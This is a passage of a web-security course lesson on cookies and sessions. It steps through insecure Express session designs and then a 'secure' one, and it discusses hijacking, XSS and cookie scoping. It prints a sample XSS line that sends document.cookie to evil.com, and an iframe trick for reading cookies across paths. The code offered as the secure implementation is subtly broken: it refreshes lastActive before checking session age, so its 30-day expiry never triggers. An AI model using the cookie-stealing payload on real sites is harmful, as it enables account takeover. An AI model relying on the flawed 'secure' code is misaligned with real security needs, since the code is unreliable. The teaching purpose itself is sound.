# Lesson 5: Cookies and Sessions

## Introduction

In previous lessons, we learned about core web technologies like HTTP, which is fundamentally a stateless protocol - each request is independent and the server doesn’t maintain any memory of previous requests. However, many web applications require maintaining state across multiple requests. For example:

* Users should be able to log in once and remain authenticated while browsing different pages
* Shopping carts need to persist items as users browse around an e-commerce site
* User preferences (like dark/light theme) should be remembered between visits
* Analytics systems need to track user behavior across multiple pages
* Multi-step forms need to maintain partially completed data

This lesson covers how web applications maintain state using cookies and sessions, common security pitfalls when implementing them, and best practices for secure session management.

## Cookies: The Building Blocks of State

Cookies are small pieces of data that servers can ask browsers to store and send back with future requests. They provide a mechanism for implementing “ambient authority” - access control based on a global and persistent property of the requester. While there are other methods of ambient authority on the web (IP checking, HTTP authentication, client certificates), cookies are by far the most common and versatile.

Here’s how cookies work:

1. Server sends a response with a Set-Cookie header:

HTTP/1.1 200 OK  
Set-Cookie: username=alice  
Content-Type: text/html  
  
<html>...</html>

1. Browser stores the cookie and automatically includes it in future requests to the same site:

GET /profile HTTP/1.1  
Host: example.com  
Cookie: username=alice

The browser will continue to send this cookie with every request to example.com until the cookie expires or is deleted.

## Sessions: Server-Side State Management

While cookies are the mechanism for maintaining state, sessions are how we actually organize and manage that state on the server side. A session represents a series of related interactions between a client and server.

Let’s examine several approaches to implementing sessions, starting with naive implementations and building up to a secure solution.

### Implementation 1: Storing Username in Cookie (Insecure)

Here’s the simplest possible implementation:

// Server-side user database  
const USERS = {  
 alice: 'password123',  
 bob: 'hunter2'  
};  
  
app.post('/login', (req, res) => {  
 const { username, password } = req.body;  
 if (password === USERS[username]) {  
 res.cookie('username', username);  
 res.redirect('/');  
 } else {  
 res.send('Login failed!');  
 }  
});  
  
app.get('/', (req, res) => {  
 const { username } = req.cookies;  
 if (username) {  
 res.send(`Welcome ${username}!`);  
 } else {  
 res.send(loginForm);  
 }  
});

This is extremely insecure because users can simply modify their cookie to impersonate any user:

1. Log in as ‘alice’
2. Edit cookie to say ‘username=bob’
3. Now you’re logged in as Bob!

### Implementation 2: Signed Cookies (Still Insecure)

We might try to prevent cookie tampering by signing the username:

const COOKIE\_SECRET = 'super-secret-key';  
app.use(cookieParser(COOKIE\_SECRET));  
  
app.post('/login', (req, res) => {  
 const { username, password } = req.body;  
 if (password === USERS[username]) {  
 res.cookie('username', username, { signed: true });  
 res.redirect('/');  
 }  
});  
  
app.get('/', (req, res) => {  
 const { username } = req.signedCookies;  
 if (username) {  
 res.send(`Welcome ${username}!`);  
 } else {  
 res.send(loginForm);  
 }  
});

This prevents tampering, but has other problems:

1. The signed cookie becomes a permanent credential - even after logout, anyone with a copy of the cookie can impersonate that user
2. There is no way to invalidate sessions server-side.
3. There is no way to list or terminate active sessions.

### Implementation 3: Sequential Session IDs (Still Insecure)

Next attempt - generate session IDs and store the corresponding logged-in username server-side:

let nextSessionId = 1;  
const SESSIONS = {}; // sessionId -> username  
  
app.post('/login', (req, res) => {  
 const { username, password } = req.body;  
 if (password === USERS[username]) {  
 SESSIONS[nextSessionId] = username;  
 res.cookie('sessionId', nextSessionId);  
 nextSessionId += 1;  
 res.redirect('/');  
 }  
});  
  
app.get('/', (req, res) => {  
 const username = SESSIONS[req.cookies.sessionId];  
 if (username) {  
 res.send(`Welcome ${username}!`);  
 } else {  
 res.send(loginForm);  
 }  
});  
  
app.get('/logout', (req, res) => {  
 delete SESSIONS[req.cookies.sessionId];  
 res.clearCookie('sessionId');  
 res.redirect('/');  
});

This is better in the sense that we can now invalidate sessions server-side if we wish, and we’re not storing sensitive data in cookies. However, this is worse in that session IDs are predictable: if your session ID is 5, you simply submit cookies with sessionId set to 1-4 to impersonate other users.

### Desired Properties of Good Sessions

Before implementing a secure solution, let’s define what properties we want:

1. **Persistence**: Browser remembers user authentication so they don’t need to repeatedly log in
2. **Tamper resistance**: Users cannot modify session data to impersonate other users
3. **Server-side control**: Sessions can be invalidated on the server side when needed (e.g. in the event of a security breach, account compromise, or change of account credentials)
4. **Time-bounded**: Sessions should expire after a reasonable time period
5. **Revocable**: Users should be able to terminate their own sessions (logout)
6. **Secure transmission**: Session data should be protected from eavesdropping
7. **Multiple sessions**: Users should be able to maintain multiple active sessions (e.g., mobile and desktop)

### Secure Session Implementation

Here’s a secure implementation that meets our desired properties:

import { randomBytes } from 'crypto';  
  
const SESSIONS = new Map(); // sessionId -> userData  
  
// Login endpoint: Check credentials and set cookie  
app.post('/login', (req, res) => {  
 const { username, password } = req.body;  
 if (checkCredentials(username, password)) {  
 // Generate cryptographically secure random session ID  
 const sessionId = randomBytes(32).toString('hex');  
  
 // Store session data server-side  
 SESSIONS.set(sessionId, {  
 username,  
 lastActive: Date.now()  
 });  
  
 // Set session cookie with security flags  
 res.cookie('sessionId', sessionId, {  
 httpOnly: true, // Prevent JavaScript access  
 secure: true, // Prevent cookie from being sent over  
 // insecure network  
 sameSite: 'lax', // Protect against CSRF (Lesson 6)  
 });  
  
 res.redirect('/dashboard');  
 }  
});  
  
// Dashboard endpoint: Read and validate cookie  
app.get('/dashboard', (req, res) => {  
 const sessionId = req.cookies.sessionId;  
 const session = SESSIONS.get(sessionId);  
  
 if (!session) {  
 // This is an invalid session ID  
 res.redirect('/login');  
 return;  
 }  
  
 // Update last active timestamp  
 session.lastActive = Date.now();  
  
 // Check session age  
 const sessionAge = Date.now() - session.lastActive;  
 if (sessionAge > 30 \* 24 \* 60 \* 60 \* 1000) { // 30 days  
 SESSIONS.delete(sessionId);  
 res.clearCookie('sessionId');  
 res.redirect('/login');  
 return;  
 }  
  
 res.render('dashboard', { username: session.username });  
});  
  
app.post('/logout', (req, res) => {  
 const sessionId = req.cookies.sessionId;  
 SESSIONS.delete(sessionId);  
 res.clearCookie('sessionId');  
 res.redirect('/login');  
});

## Session Hijacking Attacks

Session hijacking occurs when an attacker obtains a user’s session ID and uses it to impersonate them. There are several ways this can happen:

### Network-Based Attacks

When HTTP traffic is unencrypted, attackers on the same network can intercept cookies. The infamous [Firesheep Firefox extension (2010)](https://en.wikipedia.org/wiki/Firesheep) demonstrated this by making it trivially easy to hijack Facebook and Twitter sessions over public WiFi. The extension would:

1. Monitor network traffic for unencrypted requests to popular websites
2. Extract session cookies from these requests
3. Present a list of hijackable sessions to the attacker
4. Allow one-click impersonation of users

This attack was particularly effective because many sites only encrypted their login pages, leaving subsequent requests unprotected, despite those requests including session cookies.

Mitigation:

1. Use HTTPS everywhere to prevent eavesdropping
2. Set the Secure flag on cookies to prevent them from being sent over HTTP:

* res.cookie('sessionId', sessionId, { secure: true });

### Cross-Site Scripting (XSS)

Cookies are sent as request headers in every HTTP request. However, they are *also* readable by client-side JavaScript. There are legitimate use cases for this, e.g. saving a theme cookie for light/dark mode, if JavaScript is involved with rendering the site.

However, if an attacker can inject JavaScript into your site, they can steal cookies:

// Attacker's injected code  
fetch('https://evil.com/steal?cookie=' + document.cookie);

We will discuss this type of attack in detail in Lesson 7.

Mitigation:

1. Set the HttpOnly flag on session cookies to make them inaccessible to client JavaScript:

* res.cookie('sessionId', sessionId, { httpOnly: true });

1. Implement proper XSS protections (covered in Lesson 7)

## Historical Context

Cookies were implemented in 1994 by Netscape and described in a brief 4-page draft. Unlike most web technologies, they weren’t formally specified until much later:

* 1994: Initial implementation in Netscape
* 1997: First specification attempt, but made incompatible changes
* 2000: “Cookie2” specification attempt, also unsuccessful
* 2011: Finally standardized in RFC 6265

This ad-hoc development process explains many of cookies’ quirks and inconsistencies with modern web security models. The lack of a proper specification for 17 years led to inconsistent implementations across browsers and security models that don’t align with newer web platform features.

## Cookie Security Properties

### The Path Attribute is Not Security

When creating cookies, you can set an optional Path attribute. That cookie will only be loaded/sent on URLs descending from that path. For example, if this cookie is set:

res.cookie('sessionId', id, { path: '/admin' });

Then it will only be sent on /admin and /admin/\* pages, and not /, /public, etc.

This might seem like a useful security tool. However, this is not a real security barrier; same-origin JavaScript can still read cookies from any path using an iframe:

// On /app  
const iframe = document.createElement('iframe');  
iframe.src = '/admin';  
document.body.appendChild(iframe);  
const adminCookies = iframe.contentDocument.cookie;

The Same-Origin Policy allows this because both pages are on the same origin. Path should only be used as a namespacing convention and performance tool, never for security.

### Cookie Origin Model vs Same-Origin Policy

Cookies use a different security model than the rest of the web platform. The Same-Origin Policy (covered in Lesson 4) considers two URLs to be same-origin if they share the same protocol, hostname, and port. However, cookies behave differently:

* **Protocol**: Cookies ignore protocol unless the Secure flag is set
* **Hostname**:
  + Cookies are set with a Domain attribute. Cookies set with Domain=example.com will be sent for example.com *and all subdomains*, such as foo.example.com. This differs from the Same-Origin Policy, where any difference in domains is considered a separate origin.
  + A subdomain foo.example.com can elect to set Domain to a parent domain, such as example.com, so that the cookie will be shared with the parent and other subdomains.
  + However, example.com cannot set cookies with restricted scope for a subdomain such as foo.example.com.
* **Port**: Cookies completely ignore ports. Any cookies from example.com:1234 will also be sent to example.com:2345.
* **Path**: The Path attribute affects which cookies are sent in HTTP headers, but it does not affect which cookies can be loaded via JavaScript, so it is not a reliable security tool.

## Best Practices Summary

1. **Store session data server-side**. Ensure sessions are robust against an attacker forging false values. Maintain a session store that can be invalidated by the server if needed.
2. **Generate secure session IDs**. Use cryptographically secure random values, and make them long enough (at least 128 bits).
3. **Set proper cookie flags**. Use httpOnly to prevent JavaScript access, secure to ensure that cookies are not sent over HTTP connections, and sameSite: lax to protect against CSRF (Lesson 6).
4. **Implement proper session lifecycle**. Set reasonable cookie expiration times and implement session expiration on the server.
5. **Use HTTPS everywhere**. This prevents session cookie theft (and much more).

In the next lesson, we’ll explore Cross-Site Request Forgery (CSRF) attacks, which exploit how cookies are automatically included with requests.